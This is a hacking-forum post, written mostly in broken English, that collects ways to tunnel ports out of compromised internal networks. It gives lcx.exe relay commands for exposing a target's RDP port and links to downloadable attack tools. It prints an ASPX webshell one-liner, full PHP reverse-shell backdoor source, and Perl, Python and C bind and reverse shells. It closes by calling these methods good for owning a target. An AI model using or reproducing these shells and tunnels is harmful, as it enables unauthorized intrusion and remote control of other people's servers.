习科：内网端口转发方法汇总

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本篇文章由习科论坛会员小Dの马甲原创供稿，文章中将内网端口转发的方法进行了一些汇总，希望给大家带来启发。

I. Sample Baklinks with “lcx.exe”

first download lcx.exe from

1. attach.blackbap.org/down/yclj/lcx.exe

the program only can running in Windows Server, the program can backlink 3389 to another server.

Opening and Listening a Port(like 3333) use lcx.exe on a Local Server, and Link 3333 port to 4444 port for Local:

1. lcx.exe -l 3333 4444

then command lcx on server, backlink the remote desktop port 3389

1. lcx.exe -s your-server-ip 3333 127.0.0.1 3389

 

 

the connection like this:

1. target-3389 <<–>> remote-lcx <<–>> your-server-3333 <<–>> your-server-4444

if successed, connecting 127.0.0.1:4444 equal target:3389

 

II. Using ASPX Script Backlinks Remote Port

the tool can download at here:

1. attach.blackbap.org/down/wzaq/ASPX.rar

before used it should done followings, has a ASPX webshell on target, and ASP.net can running well.

1. <%@ Page Language=”C#” ValidateRequest=”false” %>
2. <%try{ System.Reflection.Assembly.Load(Request.BinaryRead(int.Parse(Request.Cookies[“psw”].Value))).CreateInstance(“c”, true, System.Reflection.BindingFlags.Default, null, new object[] { this }, null, null); } catch { }%>

and using lcx for a internet machine

at the end is setting

 

 

the picture backlinked the 14147 port, And the other no difference.

 

III. Using JSP Script with Socket
the JSP Script can download here:

1. http://attach.blackbap.org/down/wzaq/jspdkzf.rar

the server should supports Java Environment, useage like following:

1. target/jspdkzf.jsp?localIP=127.0.0.1&localPort=3389&remoteIP=your-server-ip-address&remotePort=3333

this script also can backlinks 3306(MySQL default port), 22(SSH default port)….

 

IV. Using PHP Script with Socket

 

the script supports Win server and Linux Server, it load socket package with dl() function,the code following:

1. <?php
2. function phpsocket(){
3. @set_time_limit(0);
4. $system=strtoupper(substr(PHP_OS, 0, 3));
5. if(!extension_loaded(‘sockets’)){if($system==’WIN’){@dl(‘php_sockets.dll’) or die(“Can’t load socket”);}else{@dl(‘sockets.so’) or die(“Can’t load socket”);}}
6. if(isset($_POST[‘host’]) && isset($_POST[‘port’])){$host = $_POST[‘host’];$port = $_POST[‘port’];}
7. else{
8. print<<<SILIC
9. <p>php_sockets setting openning<br></p>
10. <form method=post action=”?”>
11. Host:<input type=text name=host value=””><br>
12. Port:<input type=text name=port value=”1120″><br><br>
13. <input type=”radio” name=info value=”linux” checked>Linux <input type=”radio” name=info value=”win”>Windows <input type=submit name=submit value=”Backlink”><br>
14. </form>
15. SILIC;
16. }
17. if($system==”WIN”){$env=array(‘path’=>’c:\\windows\\system32’);}
18. else{$env = array(‘PATH’=>’/bin:/usr/bin:/usr/local/bin:/usr/local/sbin:/usr/sbin’);}
19. $descriptorspec = array(0 => array(“pipe”,”r”),1 => array(“pipe”,”w”),2 => array(“pipe”,”w”),);
20. $host=gethostbyname($host);
21. $proto=getprotobyname(“tcp”);
22. if(($sock=socket_create(AF_INET,SOCK_STREAM,$proto))<0){die(“Socket Creat Failed”);}
23. if(($ret=socket_connect($sock,$host,$port))<0){die(“Connect Failed”);}
24. else{
25. $message=”————-PHP Backlink, Silic Security————-\\n”;
26. socket_write($sock,$message,strlen($message));
27. $cwd=str_replace(‘\\’,’/’,dirname(__FILE__));
28. while($cmd=socket_read($sock,65535,$proto)){
29. if(trim(strtolower($cmd))==”exit”){socket_write($sock,”Bye\n”);exit;}
30. else{
31. $process = proc_open($cmd, $descriptorspec, $pipes, $cwd, $env);
32. if(is_resource($process)){
33. fwrite($pipes[0], $cmd);
34. fclose($pipes[0]);
35. $msg=stream_get_contents($pipes[1]);
36. socket_write($sock,$msg,strlen($msg));
37. fclose($pipes[1]);
38. $msg=stream_get_contents($pipes[2]);
39. socket_write($sock,$msg,strlen($msg));
40. $return_value = proc_close($process);
41. }
42. }
43. }
44. }
45. }
46. @phpsocket();
47. ?>

host in form is your server ip address, port in form is which you listening on your server.

 

 

the shell in the code can be changed.

 

V. 80/443 Port Multiplexing and Privilege Escalation
here is the tool, it supports ASPX/PHP/JSP Scripts.

1. attach.blackbap.org/down/yclj/reDuh.rar

URL is reDuh Server Webshell, remote host can using default(127.0.0.1), remote port is which you want backlinks

 

 

any port with rules can used(default is port 1234), then creat the link on program, connect the default port 1234 on local
connect with local software or telnet or any program can connecting.
(the picture used a wrong shell for target)

 

VI. bind a port on target server
perl script

1. #!/usr/bin/perl
2. $os = $^O;
3. $SHELL=”/bin/sh”;
4. if($os =~ m/win/i){ $SHELL=”%COMSPEC% /K”;}
5. if (@ARGV < 1) { exit(1); }
6. $LISTEN_PORT=$ARGV[0];
7. use Socket;
8. $protocol=getprotobyname(‘tcp’);
9. socket(S,&PF_INET,&SOCK_STREAM,$protocol) || die(“error\n”);
10. setsockopt(S,SOL_SOCKET,SO_REUSEADDR,1);
11. bind(S,sockaddr_in($LISTEN_PORT,INADDR_ANY)) || die(“error\n”);
12. listen(S,3) || die “”;
13. while(1)
14. {
15. accept(CONN,S);
16. if(!($pid=fork))
17. {
18. die “Cannot fork” if (!defined $pid);
19. open STDIN,”<&CONN”;
20. open STDOUT,”>&CONN”;
21. open STDERR,”>&CONN”;
22. exec $SHELL || die(“error\n”);
23. close CONN;
24. exit 0;
25. }
26. }

python script

1. #!/usr/bin/env python
2. import os, sys, socket, time
3. MAX_LEN=1024
4. SHELL=”/bin/bash -c”
5. TIME_OUT=300
6. PORT=””
7. HOST=””
8. def shell(cmd):
9. sh_out=os.popen(SHELL+” “+cmd).readlines()
10. nsh_out=””
11. for i in range(len(sh_out)):
12. nsh_out+=sh_out[i]
13. return nsh_out
14. def action(conn):
15. while True:
16. try:
17. pcmd=conn.recv(MAX_LEN)
18. except:
19. print(“error\n”)
20. return True
21. else:
22. cmd=””
23. for i in range(len(pcmd)-1):
24. cmd+=pcmd[i]
25. if cmd==”:dc”:
26. return True
27. elif cmd==”:sd”:
28. return False
29. else:
30. if len(cmd)>0:
31. out=shell(cmd)
32. conn.send(out)
33. argv=sys.argv
34. if len(argv)==2:
35. PORT=argv[1]
36. elif len(argv)==3:
37. PORT=argv[1]
38. HOST=argv[2]
39. else: exit(1)
40. PORT=int(PORT)
41. if os.fork()!=0:
42. sys.exit(0)
43. sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
44. sock.settimeout(TIME_OUT)
45. if len(argv)==2:
46. sock.bind((‘localhost’, PORT))
47. sock.listen(0)
48. run=True
49. while run:
50. if len(argv)==3:
51. try: sock.connect((HOST, PORT))
52. except:
53. print(“error\n”)
54. time.sleep(5)
55. else: run=action(sock)
56. else:
57. try: (conn,addr)=sock.accept()
58. except:
59. print(“error\n”)
60. time.sleep(1)
61. else: run=action(conn)
62. if len(argv)==2: conn.shutdown(2)
63. else:
64. try: sock.send(“”)
65. except: time.sleep(1)
66. else: sock.shutdown(2)

C Script

1. #include <stdio.h>
2. #include <string.h>
3. #include <sys/types.h>
4. #include <sys/socket.h>
5. #include <netinet/in.h>
6. #include <errno.h>
7. int main(argc,argv)
8. int argc;
9. char **argv;{
10. int sockfd, newfd;
11. struct sockaddr_in remote;
12. if(fork() == 0) {
13. remote.sin_family = AF_INET;
14. remote.sin_port = htons(atoi(argv[1]));
15. remote.sin_addr.s_addr = htonl(INADDR_ANY);
16. sockfd = socket(AF_INET,SOCK_STREAM,0);
17. if(!sockfd) perror(“error\n”);
18. bind(sockfd,(struct sockaddr *)&remote, 0x10);
19. listen(sockfd,5);
20. while(1){
21. newfd=accept(sockfd,0,0);
22. dup2(newfd,0);
23. dup2(newfd,1);
24. dup2(newfd,2);
25. execl(“/bin/sh”,”sh”,(char *)0);
26. close(newfd);
27. }
28. }
29. }
30. int chpass(char *base, char *entered){
31. int i;
32. for(i=0;i<strlen(entered);i++)
33. {
34. if(entered[i] == ‘\n’)
35. entered[i] = ‘\0’;
36. if(entered[i] == ‘\r’)
37. entered[i] = ‘\0’;
38. }
39. if (!strcmp(base,entered))
40. return 0;
41. }

the usage is same

1. script target port

C Script is best(I think), Opening and Binding a shell/Command line Port On Webshell, Forwarding and Making a Privilege Escalation is a Good Method for Owned a Target.

Silic Security,to be continued….
//silic.Org